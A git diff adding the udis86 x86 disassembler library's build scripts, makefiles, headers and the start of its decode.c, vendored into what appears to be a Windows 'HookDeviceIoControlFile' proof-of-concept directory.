Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/build.bat @@ -0,0 +1,3 @@ +@echo off +nmake /f makefile_i386 +nmake /f makefile_i386 clean diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/build64.bat b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/build64.bat new file mode 100644 index 00000000..cbba2ba1 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/build64.bat @@ -0,0 +1,3 @@ +@echo off +nmake /f makefile_amd64 +nmake /f makefile_amd64 clean diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/extern.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/extern.h new file mode 100644 index 00000000..c33baf5e --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/extern.h @@ -0,0 +1,67 @@ +/* ----------------------------------------------------------------------------- + * extern.h + * + * Copyright (c) 2004, 2005, 2006, Vivek Mohan + * All rights reserved. See LICENSE + * ----------------------------------------------------------------------------- + */ +#ifndef UD_EXTERN_H +#define UD_EXTERN_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include "types.h" + +/* ============================= PUBLIC API ================================= */ + +extern void ud_init(struct ud*); + +extern void ud_set_mode(struct ud*, uint8_t); + +extern void ud_set_pc(struct ud*, uint64_t); + +extern void ud_set_input_hook(struct ud*, int (*)(struct ud*)); + +extern void ud_set_input_buffer(struct ud*, uint8_t*, size_t); + +#ifndef __UD_STANDALONE__ +extern void ud_set_input_file(struct ud*, FILE*); +#endif /* __UD_STANDALONE__ */ + +extern void ud_set_vendor(struct ud*, unsigned); + +extern void ud_set_syntax(struct ud*, void (*)(struct ud*)); + +extern void ud_input_skip(struct ud*, size_t); + +extern int ud_input_end(struct ud*); + +extern unsigned int ud_decode(struct ud*); + +extern unsigned int ud_disassemble(struct ud*); + +extern void ud_translate_intel(struct ud*); + +extern void ud_translate_att(struct ud*); + +extern char* ud_insn_asm(struct ud* u); + +extern uint8_t* ud_insn_ptr(struct ud* u); + +extern uint64_t ud_insn_off(struct ud*); + +extern char* ud_insn_hex(struct ud*); + +extern unsigned int ud_insn_len(struct ud* u); + +extern const char* ud_lookup_mnemonic(enum ud_mnemonic_code c); + +/* ========================================================================== */ + +#ifdef __cplusplus +} +#endif +#endif diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/itab.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/itab.h new file mode 100644 index 00000000..737112c6 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/itab.h @@ -0,0 +1,719 @@ + +/* itab.h -- auto generated by opgen.py, do not edit. */ + +#ifndef UD_ITAB_H +#define UD_ITAB_H + + + +enum ud_itab_vendor_index { + ITAB__VENDOR_INDX__AMD, + ITAB__VENDOR_INDX__INTEL, +}; + + +enum ud_itab_mode_index { + ITAB__MODE_INDX__16, + ITAB__MODE_INDX__32, + ITAB__MODE_INDX__64 +}; + + +enum ud_itab_mod_index { + ITAB__MOD_INDX__NOT_11, + ITAB__MOD_INDX__11 +}; + + +enum ud_itab_index { + ITAB__0F, + ITAB__0F__OP_00__REG, + ITAB__0F__OP_01__REG, + ITAB__0F__OP_01__REG__OP_00__MOD, + ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM, + ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM__OP_01__VENDOR, + ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM__OP_03__VENDOR, + ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM__OP_04__VENDOR, + ITAB__0F__OP_01__REG__OP_01__MOD, + ITAB__0F__OP_01__REG__OP_01__MOD__OP_01__RM, + ITAB__0F__OP_01__REG__OP_02__MOD, + ITAB__0F__OP_01__REG__OP_03__MOD, + ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM, + ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_00__VENDOR, + ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_01__VENDOR, + ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_02__VENDOR, + ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_03__VENDOR, + ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_04__VENDOR, + ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_05__VENDOR, + ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_06__VENDOR, + ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_07__VENDOR, + ITAB__0F__OP_01__REG__OP_04__MOD, + ITAB__0F__OP_01__REG__OP_06__MOD, + ITAB__0F__OP_01__REG__OP_07__MOD, + ITAB__0F__OP_01__REG__OP_07__MOD__OP_01__RM, + ITAB__0F__OP_01__REG__OP_07__MOD__OP_01__RM__OP_01__VENDOR, + ITAB__0F__OP_0D__REG, + ITAB__0F__OP_18__REG, + ITAB__0F__OP_71__REG, + ITAB__0F__OP_72__REG, + ITAB__0F__OP_73__REG, + ITAB__0F__OP_AE__REG, + ITAB__0F__OP_AE__REG__OP_05__MOD, + ITAB__0F__OP_AE__REG__OP_05__MOD__OP_01__RM, + ITAB__0F__OP_AE__REG__OP_06__MOD, + ITAB__0F__OP_AE__REG__OP_06__MOD__OP_01__RM, + ITAB__0F__OP_AE__REG__OP_07__MOD, + ITAB__0F__OP_AE__REG__OP_07__MOD__OP_01__RM, + ITAB__0F__OP_BA__REG, + ITAB__0F__OP_C7__REG, + ITAB__0F__OP_C7__REG__OP_00__VENDOR, + ITAB__0F__OP_C7__REG__OP_07__VENDOR, + ITAB__0F__OP_D9__MOD, + ITAB__0F__OP_D9__MOD__OP_01__X87, + ITAB__1BYTE, + ITAB__1BYTE__OP_60__OSIZE, + ITAB__1BYTE__OP_61__OSIZE, + ITAB__1BYTE__OP_63__MODE, + ITAB__1BYTE__OP_6D__OSIZE, + ITAB__1BYTE__OP_6F__OSIZE, + ITAB__1BYTE__OP_80__REG, + ITAB__1BYTE__OP_81__REG, + ITAB__1BYTE__OP_82__REG, + ITAB__1BYTE__OP_83__REG, + ITAB__1BYTE__OP_8F__REG, + ITAB__1BYTE__OP_98__OSIZE, + ITAB__1BYTE__OP_99__OSIZE, + ITAB__1BYTE__OP_9C__MODE, + ITAB__1BYTE__OP_9C__MODE__OP_00__OSIZE, + ITAB__1BYTE__OP_9C__MODE__OP_01__OSIZE, + ITAB__1BYTE__OP_9D__MODE, + ITAB__1BYTE__OP_9D__MODE__OP_00__OSIZE, + ITAB__1BYTE__OP_9D__MODE__OP_01__OSIZE, + ITAB__1BYTE__OP_A5__OSIZE, + ITAB__1BYTE__OP_A7__OSIZE, + ITAB__1BYTE__OP_AB__OSIZE, + ITAB__1BYTE__OP_AD__OSIZE, + ITAB__1BYTE__OP_AE__MOD, + ITAB__1BYTE__OP_AE__MOD__OP_00__REG, + ITAB__1BYTE__OP_AF__OSIZE, + ITAB__1BYTE__OP_C0__REG, + ITAB__1BYTE__OP_C1__REG, + ITAB__1BYTE__OP_C6__REG, + ITAB__1BYTE__OP_C7__REG, + ITAB__1BYTE__OP_CF__OSIZE, + ITAB__1BYTE__OP_D0__REG, + ITAB__1BYTE__OP_D1__REG, + ITAB__1BYTE__OP_D2__REG, + ITAB__1BYTE__OP_D3__REG, + ITAB__1BYTE__OP_D8__MOD, + ITAB__1BYTE__OP_D8__MOD__OP_00__REG, + ITAB__1BYTE__OP_D8__MOD__OP_01__X87, + ITAB__1BYTE__OP_D9__MOD, + ITAB__1BYTE__OP_D9__MOD__OP_00__REG, + ITAB__1BYTE__OP_D9__MOD__OP_01__X87, + ITAB__1BYTE__OP_DA__MOD, + ITAB__1BYTE__OP_DA__MOD__OP_00__REG, + ITAB__1BYTE__OP_DA__MOD__OP_01__X87, + ITAB__1BYTE__OP_DB__MOD, + ITAB__1BYTE__OP_DB__MOD__OP_00__REG, + ITAB__1BYTE__OP_DB__MOD__OP_01__X87, + ITAB__1BYTE__OP_DC__MOD, + ITAB__1BYTE__OP_DC__MOD__OP_00__REG, + ITAB__1BYTE__OP_DC__MOD__OP_01__X87, + ITAB__1BYTE__OP_DD__MOD, + ITAB__1BYTE__OP_DD__MOD__OP_00__REG, + ITAB__1BYTE__OP_DD__MOD__OP_01__X87, + ITAB__1BYTE__OP_DE__MOD, + ITAB__1BYTE__OP_DE__MOD__OP_00__REG, + ITAB__1BYTE__OP_DE__MOD__OP_01__X87, + ITAB__1BYTE__OP_DF__MOD, + ITAB__1BYTE__OP_DF__MOD__OP_00__REG, + ITAB__1BYTE__OP_DF__MOD__OP_01__X87, + ITAB__1BYTE__OP_E3__ASIZE, + ITAB__1BYTE__OP_F6__REG, + ITAB__1BYTE__OP_F7__REG, + ITAB__1BYTE__OP_FE__REG, + ITAB__1BYTE__OP_FF__REG, + ITAB__3DNOW, + ITAB__PFX_SSE66__0F, + ITAB__PFX_SSE66__0F__OP_71__REG, + ITAB__PFX_SSE66__0F__OP_72__REG, + ITAB__PFX_SSE66__0F__OP_73__REG, + ITAB__PFX_SSE66__0F__OP_C7__REG, + ITAB__PFX_SSE66__0F__OP_C7__REG__OP_00__VENDOR, + ITAB__PFX_SSEF2__0F, + ITAB__PFX_SSEF3__0F, + ITAB__PFX_SSEF3__0F__OP_C7__REG, + ITAB__PFX_SSEF3__0F__OP_C7__REG__OP_07__VENDOR, +}; + + +enum ud_mnemonic_code { + UD_I3dnow, + UD_Iaaa, + UD_Iaad, + UD_Iaam, + UD_Iaas, + UD_Iadc, + UD_Iadd, + UD_Iaddpd, + UD_Iaddps, + UD_Iaddsd, + UD_Iaddss, + UD_Iaddsubpd, + UD_Iaddsubps, + UD_Iand, + UD_Iandpd, + UD_Iandps, + UD_Iandnpd, + UD_Iandnps, + UD_Iarpl, + UD_Imovsxd, + UD_Ibound, + UD_Ibsf, + UD_Ibsr, + UD_Ibswap, + UD_Ibt, + UD_Ibtc, + UD_Ibtr, + UD_Ibts, + UD_Icall, + UD_Icbw, + UD_Icwde, + UD_Icdqe, + UD_Iclc, + UD_Icld, + UD_Iclflush, + UD_Iclgi, + UD_Icli, + UD_Iclts, + UD_Icmc, + UD_Icmovo, + UD_Icmovno, + UD_Icmovb, + UD_Icmovae, + UD_Icmovz, + UD_Icmovnz, + UD_Icmovbe, + UD_Icmova, + UD_Icmovs, + UD_Icmovns, + UD_Icmovp, + UD_Icmovnp, + UD_Icmovl, + UD_Icmovge, + UD_Icmovle, + UD_Icmovg, + UD_Icmp, + UD_Icmppd, + UD_Icmpps, + UD_Icmpsb, + UD_Icmpsw, + UD_Icmpsd, + UD_Icmpsq, + UD_Icmpss, + UD_Icmpxchg, + UD_Icmpxchg8b, + UD_Icomisd, + UD_Icomiss, + UD_Icpuid, + UD_Icvtdq2pd, + UD_Icvtdq2ps, + UD_Icvtpd2dq, + UD_Icvtpd2pi, + UD_Icvtpd2ps, + UD_Icvtpi2ps, + UD_Icvtpi2pd, + UD_Icvtps2dq, + UD_Icvtps2pi, + UD_Icvtps2pd, + UD_Icvtsd2si, + UD_Icvtsd2ss, + UD_Icvtsi2ss, + UD_Icvtss2si, + UD_Icvtss2sd, + UD_Icvttpd2pi, + UD_Icvttpd2dq, + UD_Icvttps2dq, + UD_Icvttps2pi, + UD_Icvttsd2si, + UD_Icvtsi2sd, + UD_Icvttss2si, + UD_Icwd, + UD_Icdq, + UD_Icqo, + UD_Idaa, + UD_Idas, + UD_Idec, + UD_Idiv, + UD_Idivpd, + UD_Idivps, + UD_Idivsd, + UD_Idivss, + UD_Iemms, + UD_Ienter, + UD_If2xm1, + UD_Ifabs, + UD_Ifadd, + UD_Ifaddp, + UD_Ifbld, + UD_Ifbstp, + UD_Ifchs, + UD_Ifclex, + UD_Ifcmovb, + UD_Ifcmove, + UD_Ifcmovbe, + UD_Ifcmovu, + UD_Ifcmovnb, + UD_Ifcmovne, + UD_Ifcmovnbe, + UD_Ifcmovnu, + UD_Ifucomi, + UD_Ifcom, + UD_Ifcom2, + UD_Ifcomp3, + UD_Ifcomi, + UD_Ifucomip, + UD_Ifcomip, + UD_Ifcomp, + UD_Ifcomp5, + UD_Ifcompp, + UD_Ifcos, + UD_Ifdecstp, + UD_Ifdiv, + UD_Ifdivp, + UD_Ifdivr, + UD_Ifdivrp, + UD_Ifemms, + UD_Iffree, + UD_Iffreep, + UD_Ificom, + UD_Ificomp, + UD_Ifild, + UD_Ifncstp, + UD_Ifninit, + UD_Ifiadd, + UD_Ifidivr, + UD_Ifidiv, + UD_Ifisub, + UD_Ifisubr, + UD_Ifist, + UD_Ifistp, + UD_Ifisttp, + UD_Ifld, + UD_Ifld1, + UD_Ifldl2t, + UD_Ifldl2e, + UD_Ifldlpi, + UD_Ifldlg2, + UD_Ifldln2, + UD_Ifldz, + UD_Ifldcw, + UD_Ifldenv, + UD_Ifmul, + UD_Ifmulp, + UD_Ifimul, + UD_Ifnop, + UD_Ifpatan, + UD_Ifprem, + UD_Ifprem1, + UD_Ifptan, + UD_Ifrndint, + UD_Ifrstor, + UD_Ifnsave, + UD_Ifscale, + UD_Ifsin, + UD_Ifsincos, + UD_Ifsqrt, + UD_Ifstp, + UD_Ifstp1, + UD_Ifstp8, + UD_Ifstp9, + UD_Ifst, + UD_Ifnstcw, + UD_Ifnstenv, + UD_Ifnstsw, + UD_Ifsub, + UD_Ifsubp, + UD_Ifsubr, + UD_Ifsubrp, + UD_Iftst, + UD_Ifucom, + UD_Ifucomp, + UD_Ifucompp, + UD_Ifxam, + UD_Ifxch, + UD_Ifxch4, + UD_Ifxch7, + UD_Ifxrstor, + UD_Ifxsave, + UD_Ifpxtract, + UD_Ifyl2x, + UD_Ifyl2xp1, + UD_Ihaddpd, + UD_Ihaddps, + UD_Ihlt, + UD_Ihsubpd, + UD_Ihsubps, + UD_Iidiv, + UD_Iin, + UD_Iimul, + UD_Iinc, + UD_Iinsb, + UD_Iinsw, + UD_Iinsd, + UD_Iint1, + UD_Iint3, + UD_Iint, + UD_Iinto, + UD_Iinvd, + UD_Iinvlpg, + UD_Iinvlpga, + UD_Iiretw, + UD_Iiretd, + UD_Iiretq, + UD_Ijo, + UD_Ijno, + UD_Ijb, + UD_Ijae, + UD_Ijz, + UD_Ijnz, + UD_Ijbe, + UD_Ija, + UD_Ijs, + UD_Ijns, + UD_Ijp, + UD_Ijnp, + UD_Ijl, + UD_Ijge, + UD_Ijle, + UD_Ijg, + UD_Ijcxz, + UD_Ijecxz, + UD_Ijrcxz, + UD_Ijmp, + UD_Ilahf, + UD_Ilar, + UD_Ilddqu, + UD_Ildmxcsr, + UD_Ilds, + UD_Ilea, + UD_Iles, + UD_Ilfs, + UD_Ilgs, + UD_Ilidt, + UD_Ilss, + UD_Ileave, + UD_Ilfence, + UD_Ilgdt, + UD_Illdt, + UD_Ilmsw, + UD_Ilock, + UD_Ilodsb, + UD_Ilodsw, + UD_Ilodsd, + UD_Ilodsq, + UD_Iloopnz, + UD_Iloope, + UD_Iloop, + UD_Ilsl, + UD_Iltr, + UD_Imaskmovq, + UD_Imaxpd, + UD_Imaxps, + UD_Imaxsd, + UD_Imaxss, + UD_Imfence, + UD_Iminpd, + UD_Iminps, + UD_Iminsd, + UD_Iminss, + UD_Imonitor, + UD_Imov, + UD_Imovapd, + UD_Imovaps, + UD_Imovd, + UD_Imovddup, + UD_Imovdqa, + UD_Imovdqu, + UD_Imovdq2q, + UD_Imovhpd, + UD_Imovhps, + UD_Imovlhps, + UD_Imovlpd, + UD_Imovlps, + UD_Imovhlps, + UD_Imovmskpd, + UD_Imovmskps, + UD_Imovntdq, + UD_Imovnti, + UD_Imovntpd, + UD_Imovntps, + UD_Imovntq, + UD_Imovq, + UD_Imovqa, + UD_Imovq2dq, + UD_Imovsb, + UD_Imovsw, + UD_Imovsd, + UD_Imovsq, + UD_Imovsldup, + UD_Imovshdup, + UD_Imovss, + UD_Imovsx, + UD_Imovupd, + UD_Imovups, + UD_Imovzx, + UD_Imul, + UD_Imulpd, + UD_Imulps, + UD_Imulsd, + UD_Imulss, + UD_Imwait, + UD_Ineg, + UD_Inop, + UD_Inot, + UD_Ior, + UD_Iorpd, + UD_Iorps, + UD_Iout, + UD_Ioutsb, + UD_Ioutsw, + UD_Ioutsd, + UD_Ioutsq, + UD_Ipacksswb, + UD_Ipackssdw, + UD_Ipackuswb, + UD_Ipaddb, + UD_Ipaddw, + UD_Ipaddq, + UD_Ipaddsb, + UD_Ipaddsw, + UD_Ipaddusb, + UD_Ipaddusw, + UD_Ipand, + UD_Ipandn, + UD_Ipause, + UD_Ipavgb, + UD_Ipavgw, + UD_Ipcmpeqb, + UD_Ipcmpeqw, + UD_Ipcmpeqd, + UD_Ipcmpgtb, + UD_Ipcmpgtw, + UD_Ipcmpgtd, + UD_Ipextrw, + UD_Ipinsrw, + UD_Ipmaddwd, + UD_Ipmaxsw, + UD_Ipmaxub, + UD_Ipminsw, + UD_Ipminub, + UD_Ipmovmskb, + UD_Ipmulhuw, + UD_Ipmulhw, + UD_Ipmullw, + UD_Ipmuludq, + UD_Ipop, + UD_Ipopa, + UD_Ipopad, + UD_Ipopfw, + UD_Ipopfd, + UD_Ipopfq, + UD_Ipor, + UD_Iprefetch, + UD_Iprefetchnta, + UD_Iprefetcht0, + UD_Iprefetcht1, + UD_Iprefetcht2, + UD_Ipsadbw, + UD_Ipshufd, + UD_Ipshufhw, + UD_Ipshuflw, + UD_Ipshufw, + UD_Ipslldq, + UD_Ipsllw, + UD_Ipslld, + UD_Ipsllq, + UD_Ipsraw, + UD_Ipsrad, + UD_Ipsrlw, + UD_Ipsrld, + UD_Ipsrlq, + UD_Ipsrldq, + UD_Ipsubb, + UD_Ipsubw, + UD_Ipsubd, + UD_Ipsubq, + UD_Ipsubsb, + UD_Ipsubsw, + UD_Ipsubusb, + UD_Ipsubusw, + UD_Ipunpckhbw, + UD_Ipunpckhwd, + UD_Ipunpckhdq, + UD_Ipunpckhqdq, + UD_Ipunpcklbw, + UD_Ipunpcklwd, + UD_Ipunpckldq, + UD_Ipunpcklqdq, + UD_Ipi2fw, + UD_Ipi2fd, + UD_Ipf2iw, + UD_Ipf2id, + UD_Ipfnacc, + UD_Ipfpnacc, + UD_Ipfcmpge, + UD_Ipfmin, + UD_Ipfrcp, + UD_Ipfrsqrt, + UD_Ipfsub, + UD_Ipfadd, + UD_Ipfcmpgt, + UD_Ipfmax, + UD_Ipfrcpit1, + UD_Ipfrspit1, + UD_Ipfsubr, + UD_Ipfacc, + UD_Ipfcmpeq, + UD_Ipfmul, + UD_Ipfrcpit2, + UD_Ipmulhrw, + UD_Ipswapd, + UD_Ipavgusb, + UD_Ipush, + UD_Ipusha, + UD_Ipushad, + UD_Ipushfw, + UD_Ipushfd, + UD_Ipushfq, + UD_Ipxor, + UD_Ircl, + UD_Ircr, + UD_Irol, + UD_Iror, + UD_Ircpps, + UD_Ircpss, + UD_Irdmsr, + UD_Irdpmc, + UD_Irdtsc, + UD_Irdtscp, + UD_Irepne, + UD_Irep, + UD_Iret, + UD_Iretf, + UD_Irsm, + UD_Irsqrtps, + UD_Irsqrtss, + UD_Isahf, + UD_Isal, + UD_Isalc, + UD_Isar, + UD_Ishl, + UD_Ishr, + UD_Isbb, + UD_Iscasb, + UD_Iscasw, + UD_Iscasd, + UD_Iscasq, + UD_Iseto, + UD_Isetno, + UD_Isetb, + UD_Isetnb, + UD_Isetz, + UD_Isetnz, + UD_Isetbe, + UD_Iseta, + UD_Isets, + UD_Isetns, + UD_Isetp, + UD_Isetnp, + UD_Isetl, + UD_Isetge, + UD_Isetle, + UD_Isetg, + UD_Isfence, + UD_Isgdt, + UD_Ishld, + UD_Ishrd, + UD_Ishufpd, + UD_Ishufps, + UD_Isidt, + UD_Isldt, + UD_Ismsw, + UD_Isqrtps, + UD_Isqrtpd, + UD_Isqrtsd, + UD_Isqrtss, + UD_Istc, + UD_Istd, + UD_Istgi, + UD_Isti, + UD_Iskinit, + UD_Istmxcsr, + UD_Istosb, + UD_Istosw, + UD_Istosd, + UD_Istosq, + UD_Istr, + UD_Isub, + UD_Isubpd, + UD_Isubps, + UD_Isubsd, + UD_Isubss, + UD_Iswapgs, + UD_Isyscall, + UD_Isysenter, + UD_Isysexit, + UD_Isysret, + UD_Itest, + UD_Iucomisd, + UD_Iucomiss, + UD_Iud2, + UD_Iunpckhpd, + UD_Iunpckhps, + UD_Iunpcklps, + UD_Iunpcklpd, + UD_Iverr, + UD_Iverw, + UD_Ivmcall, + UD_Ivmclear, + UD_Ivmxon, + UD_Ivmptrld, + UD_Ivmptrst, + UD_Ivmresume, + UD_Ivmxoff, + UD_Ivmrun, + UD_Ivmmcall, + UD_Ivmload, + UD_Ivmsave, + UD_Iwait, + UD_Iwbinvd, + UD_Iwrmsr, + UD_Ixadd, + UD_Ixchg, + UD_Ixlatb, + UD_Ixor, + UD_Ixorpd, + UD_Ixorps, + UD_Idb, + UD_Iinvalid, + UD_Id3vil, + UD_Ina, + UD_Igrp_reg, + UD_Igrp_rm, + UD_Igrp_vendor, + UD_Igrp_x87, + UD_Igrp_mode, + UD_Igrp_osize, + UD_Igrp_asize, + UD_Igrp_mod, + UD_Inone, +}; + + + +extern const char* ud_mnemonics_str[];; +extern struct ud_itab_entry* ud_itab_list[]; + +#endif diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/makefile.inc b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/makefile.inc new file mode 100644 index 00000000..b69da13d --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/makefile.inc @@ -0,0 +1,22 @@ +decode.obj: src/decode.c + $(CC) $(CFLAGS) src/decode.c + +input.obj: src/input.c + $(CC) $(CFLAGS) src/input.c + +itab.obj: src/itab.c + $(CC) $(CFLAGS) src/itab.c + +syn.obj: src/syn.c + $(CC) $(CFLAGS) src/syn.c + +syn-att.obj: src/syn-att.c + $(CC) $(CFLAGS) src/syn-att.c + +syn-intel.obj: src/syn-intel.c + $(CC) $(CFLAGS) src/syn-intel.c + +udis86.obj: src/udis86.c + $(CC) $(CFLAGS) src/udis86.c + +LOBJS = decode.obj input.obj itab.obj syn.obj syn-att.obj syn-intel.obj udis86.obj diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/makefile_amd64 b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/makefile_amd64 new file mode 100644 index 00000000..e114e9a4 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/makefile_amd64 @@ -0,0 +1,20 @@ +OUTNAME = udis86_amd64 + +ALL: $(OUTNAME).lib + +CC = cl.exe + +CFLAGS = /nologo -I".\src" -I"$(CRT_INC_PATH)" -D__UD_STANDALONE__ -D_AMD64_=1 -D_M_AMD64 /Gz /c + +include Makefile.inc + +LN = lib.exe + +LFLAGS = /LIBPATH:$(CRT_LIB_PATH)\..\amd64 /out:$(OUTNAME).lib + +$(OUTNAME).lib: $(LOBJS) + $(LN) $(LFLAGS) $(LOBJS) + +clean: + @del *.obj + diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/makefile_i386 b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/makefile_i386 new file mode 100644 index 00000000..b282c980 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/makefile_i386 @@ -0,0 +1,19 @@ +OUTNAME = udis86_i386 + +ALL: $(OUTNAME).lib + +CC = cl.exe + +CFLAGS=/nologo -I".\src" -I"$(CRT_INC_PATH)" -D__UD_STANDALONE__ -D_X86_=1 /Gz /c + +include Makefile.inc + +LN = lib.exe + +LFLAGS = /LIBPATH:$(CRT_LIB_PATH)\..\i386 /out:$(OUTNAME).lib + +$(OUTNAME).lib: $(LOBJS) + $(LN) $(LFLAGS) $(LOBJS) + +clean: + @del *.obj diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/decode.c b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/decode.c new file mode 100644 index 00000000..d5f29646 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/decode.c @@ -0,0 +1,1194 @@ +/* ----------------------------------------------------------------------------- + * decode.c + * + * Copyright (c) 2005, 2006, Vivek Mohan + * All rights reserved. See LICENSE + * ----------------------------------------------------------------------------- + */ + +#include + +#include "types.h" +#include "itab.h" +#include "input.h" +#include "decode.h" + +/* The max number of prefixes to an instruction */ +#define MAX_PREFIXES 15 + +#define assert + +static struct ud_itab_entry ie_invalid = { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }; +static struct ud_itab_entry ie_pause = { UD_Ipause, O_NONE, O_NONE, O_NONE, P_none }; +static struct ud_itab_entry ie_nop = { UD_Inop, O_NONE, O_NONE, O_NONE, P_none }; + + +/* Looks up mnemonic code in the mnemonic string table + * Returns NULL if the mnemonic code is invalid + */ +const char * ud_lookup_mnemonic( enum ud_mnemonic_code c ) +{ + if ( c < UD_Id3vil ) + return ud_mnemonics_str[ c ]; + return NULL; +} + + +/* Extracts instruction prefixes. + */ +static int get_prefixes( struct ud* u ) +{ + unsigned int have_pfx = 1; + unsigned int i; + uint8_t curr; + + /* if in error state, bail out */ + if ( u->error ) + return -1; + + /* keep going as long as there are prefixes available */ + for ( i = 0; have_pfx ; ++i ) { + + /* Get next byte. */ + inp_next(u); + if ( u->error ) + return -1; + curr = inp_curr( u ); + + /* rex prefixes in 64bit mode */ + if ( u->dis_mode == 64 && ( curr & 0xF0 ) == 0x40 ) { + u->pfx_rex = curr; + } else { + switch ( curr ) + { + case 0x2E : + u->pfx_seg = UD_R_CS; + u->pfx_rex = 0; + break; + case 0x36 : + u->pfx_seg = UD_R_SS; + u->pfx_rex = 0; + break; + case 0x3E : + u->pfx_seg = UD_R_DS; + u->pfx_rex = 0; + break; + case 0x26 : + u->pfx_seg = UD_R_ES; + u->pfx_rex = 0; + break; + case 0x64 : + u->pfx_seg = UD_R_FS; + u->pfx_rex = 0; + break; + case 0x65 : + u->pfx_seg = UD_R_GS; + u->pfx_rex = 0; + break; + case 0x67 : /* adress-size override prefix */ + u->pfx_adr = 0x67; + u->pfx_rex = 0; + break; + case 0xF0 : + u->pfx_lock = 0xF0; + u->pfx_rex = 0; + break; + case 0x66: + /* the 0x66 sse prefix is only effective if no other sse prefix + * has already been specified. + */ + if ( !u->pfx_insn ) u->pfx_insn = 0x66; + u->pfx_opr = 0x66; + u->pfx_rex = 0; + break; + case 0xF2: + u->pfx_insn = 0xF2; + u->pfx_repne = 0xF2; + u->pfx_rex = 0; + break; + case 0xF3: + u->pfx_insn = 0xF3; + u->pfx_rep = 0xF3; + u->pfx_repe = 0xF3; + u->pfx_rex = 0; + break; + default : + /* No more prefixes */ + have_pfx = 0; + break; + } + } + + /* check if we reached max instruction length */ + if ( i + 1 == MAX_INSN_LENGTH ) { + u->error = 1; + break; + } + } + + /* return status */ + if ( u->error ) + return -1; + + /* rewind back one byte in stream, since the above loop + * stops with a non-prefix byte. + */ + inp_back(u); + + /* speculatively determine the effective operand mode, + * based on the prefixes and the current disassembly + * mode. This may be inaccurate, but useful for mode + * dependent decoding. + */ + if ( u->dis_mode == 64 ) { + u->opr_mode = REX_W( u->pfx_rex ) ? 64 : ( ( u->pfx_opr ) ? 16 : 32 ) ; + u->adr_mode = ( u->pfx_adr ) ? 32 : 64; + } else if ( u->dis_mode == 32 ) { + u->opr_mode = ( u->pfx_opr ) ? 16 : 32; + u->adr_mode = ( u->pfx_adr ) ? 16 : 32; + } else if ( u->dis_mode == 16 ) { + u->opr_mode = ( u->pfx_opr ) ? 32 : 16; + u->adr_mode = ( u->pfx_adr ) ? 32 : 16; + } + + return 0; +} + + +/* Searches the instruction tables for the right entry. + */ +static int search_itab( struct ud * u ) +{ + struct ud_itab_entry * e = NULL; + enum ud_itab_index table; + uint8_t peek; + uint8_t did_peek = 0; + uint8_t curr; + uint8_t index; + + /* if in state of error, return */ + if ( u->error ) + return -1; + + /* get first byte of opcode. */ + inp_next(u); + if ( u->error ) + return -1; + curr = inp_curr(u); + + /* resolve xchg, nop, pause crazyness */ + if ( 0x90 == curr ) { + if ( !( u->dis_mode == 64 && REX_B( u->pfx_rex ) ) ) { + if ( u->pfx_rep ) { + u->pfx_rep = 0; + e = & ie_pause; + } else { + e = & ie_nop; + } 